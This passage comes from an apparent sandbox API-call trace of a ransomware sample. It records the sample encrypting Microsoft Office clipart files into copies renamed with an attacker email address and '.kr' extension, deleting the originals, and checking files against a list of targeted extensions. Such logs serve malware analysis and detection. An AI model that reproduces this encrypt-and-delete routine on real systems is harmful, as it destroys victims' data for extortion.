(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.212] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=7944) returned 1 [0191.212] CloseHandle (hObject=0x520) returned 1 [0191.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 0x220 [0191.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.212] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.212] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0191.213] GetLastError () returned 0x0 [0191.213] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1f08, lpOverlapped=0x0) returned 1 [0191.215] WriteFile (in: hFile=0x544, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1f10, lpOverlapped=0x0) returned 1 [0191.216] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.216] WriteFile (in: hFile=0x544, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0191.216] SetEndOfFile (hFile=0x544) returned 1 [0191.216] CloseHandle (hObject=0x544) returned 1 [0191.217] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.217] SetEndOfFile (hFile=0x520) returned 1 [0191.757] CloseHandle (hObject=0x520) returned 1 [0191.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf")) returned 1 [0191.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.759] lstrlenW (lpString=".doc") returned 4 [0191.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.759] lstrlenW (lpString=".docx") returned 5 [0191.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.759] lstrlenW (lpString=".pdf") returned 4 [0191.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.759] lstrlenW (lpString=".xls") returned 4 [0191.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.759] lstrlenW (lpString=".xlsx") returned 5 [0191.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.759] lstrlenW (lpString=".ppt") returned 4 [0191.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.759] lstrlenW (lpString=".zip") returned 4 [0191.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.759] lstrlenW (lpString=".rar") returned 4 [0191.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.759] lstrlenW (lpString=".bz2") returned 4 [0191.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.759] lstrlenW (lpString=".7z") returned 3 [0191.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.759] lstrlenW (lpString=".dbf") returned 4 [0191.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.759] lstrlenW (lpString=".1cd") returned 4 [0191.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.760] lstrlenW (lpString=".jpg") returned 4 [0191.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.760] lstrlenW (lpString=".doc") returned 4 [0191.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.760] lstrlenW (lpString=".docx") returned 5 [0191.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.760] lstrlenW (lpString=".pdf") returned 4 [0191.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.760] lstrlenW (lpString=".xls") returned 4 [0191.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.760] lstrlenW (lpString=".xlsx") returned 5 [0191.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.760] lstrlenW (lpString=".ppt") returned 4 [0191.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.760] lstrlenW (lpString=".zip") returned 4 [0191.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.760] lstrlenW (lpString=".rar") returned 4 [0191.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.760] lstrlenW (lpString=".bz2") returned 4 [0191.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.760] lstrlenW (lpString=".7z") returned 3 [0191.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.760] lstrlenW (lpString=".dbf") returned 4 [0191.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.761] lstrlenW (lpString=".1cd") returned 4 [0191.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF") returned 68 [0191.761] lstrlenW (lpString=".jpg") returned 4 [0191.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.761] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.761] lstrlenW (lpString="FD00336_.WMF") returned 12 [0191.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.762] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=6068) returned 1 [0191.762] CloseHandle (hObject=0x520) returned 1 [0191.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 0x220 [0191.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.763] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.764] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0191.764] GetLastError () returned 0x0 [0191.764] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x17b4, lpOverlapped=0x0) returned 1 [0191.767] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x17c0, lpOverlapped=0x0) returned 1 [0191.768] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.768] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0191.768] SetEndOfFile (hFile=0x370) returned 1 [0191.768] CloseHandle (hObject=0x370) returned 1 [0191.768] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.768] SetEndOfFile (hFile=0x520) returned 1 [0191.772] CloseHandle (hObject=0x520) returned 1 [0191.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf")) returned 1 [0191.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.773] lstrlenW (lpString=".doc") returned 4 [0191.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.773] lstrlenW (lpString=".docx") returned 5 [0191.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.774] lstrlenW (lpString=".pdf") returned 4 [0191.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.774] lstrlenW (lpString=".xls") returned 4 [0191.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.774] lstrlenW (lpString=".xlsx") returned 5 [0191.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.774] lstrlenW (lpString=".ppt") returned 4 [0191.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.774] lstrlenW (lpString=".zip") returned 4 [0191.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.774] lstrlenW (lpString=".rar") returned 4 [0191.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.774] lstrlenW (lpString=".bz2") returned 4 [0191.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.774] lstrlenW (lpString=".7z") returned 3 [0191.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.774] lstrlenW (lpString=".dbf") returned 4 [0191.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.774] lstrlenW (lpString=".1cd") returned 4 [0191.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.774] lstrlenW (lpString=".jpg") returned 4 [0191.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.775] lstrlenW (lpString=".doc") returned 4 [0191.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.775] lstrlenW (lpString=".docx") returned 5 [0191.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.775] lstrlenW (lpString=".pdf") returned 4 [0191.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.775] lstrlenW (lpString=".xls") returned 4 [0191.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.775] lstrlenW (lpString=".xlsx") returned 5 [0191.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.775] lstrlenW (lpString=".ppt") returned 4 [0191.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.775] lstrlenW (lpString=".zip") returned 4 [0191.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.775] lstrlenW (lpString=".rar") returned 4 [0191.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.775] lstrlenW (lpString=".bz2") returned 4 [0191.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.775] lstrlenW (lpString=".7z") returned 3 [0191.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.775] lstrlenW (lpString=".dbf") returned 4 [0191.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.775] lstrlenW (lpString=".1cd") returned 4 [0191.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 68 [0191.775] lstrlenW (lpString=".jpg") returned 4 [0191.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.776] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.776] lstrlenW (lpString="FD00361_.WMF") returned 12 [0191.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.776] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4074) returned 1 [0191.776] CloseHandle (hObject=0x520) returned 1 [0191.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x220 [0191.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.777] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.777] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0191.778] GetLastError () returned 0x0 [0191.778] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xfea, lpOverlapped=0x0) returned 1 [0191.779] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xff0, lpOverlapped=0x0) returned 1 [0191.780] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0191.780] WriteFile (in: hFile=0x370, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0191.781] SetEndOfFile (hFile=0x370) returned 1 [0191.781] CloseHandle (hObject=0x370) returned 1 [0191.781] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0191.781] SetEndOfFile (hFile=0x520) returned 1 [0191.784] CloseHandle (hObject=0x520) returned 1 [0191.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0191.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0191.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.785] lstrlenW (lpString=".doc") returned 4 [0191.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.785] lstrlenW (lpString=".docx") returned 5 [0191.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.785] lstrlenW (lpString=".pdf") returned 4 [0191.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.785] lstrlenW (lpString=".xls") returned 4 [0191.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.785] lstrlenW (lpString=".xlsx") returned 5 [0191.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.785] lstrlenW (lpString=".ppt") returned 4 [0191.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.785] lstrlenW (lpString=".zip") returned 4 [0191.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.785] lstrlenW (lpString=".rar") returned 4 [0191.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.786] lstrlenW (lpString=".bz2") returned 4 [0191.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.786] lstrlenW (lpString=".7z") returned 3 [0191.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.786] lstrlenW (lpString=".dbf") returned 4 [0191.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.786] lstrlenW (lpString=".1cd") returned 4 [0191.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.786] lstrlenW (lpString=".jpg") returned 4 [0191.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.786] lstrlenW (lpString=".doc") returned 4 [0191.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0191.786] lstrlenW (lpString=".docx") returned 5 [0191.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0191.786] lstrlenW (lpString=".pdf") returned 4 [0191.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0191.787] lstrlenW (lpString=".xls") returned 4 [0191.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0191.787] lstrlenW (lpString=".xlsx") returned 5 [0191.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0191.787] lstrlenW (lpString=".ppt") returned 4 [0191.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0191.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.787] lstrlenW (lpString=".zip") returned 4 [0191.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0191.787] lstrlenW (lpString=".rar") returned 4 [0191.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0191.787] lstrlenW (lpString=".bz2") returned 4 [0191.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0191.787] lstrlenW (lpString=".7z") returned 3 [0191.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0191.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.787] lstrlenW (lpString=".dbf") returned 4 [0191.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0191.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.787] lstrlenW (lpString=".1cd") returned 4 [0191.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0191.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68 [0191.787] lstrlenW (lpString=".jpg") returned 4 [0191.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0191.788] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0191.788] lstrlenW (lpString="FD00369_.WMF") returned 12 [0191.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0191.788] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=8552) returned 1 [0191.788] CloseHandle (hObject=0x520) returned 1 [0191.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 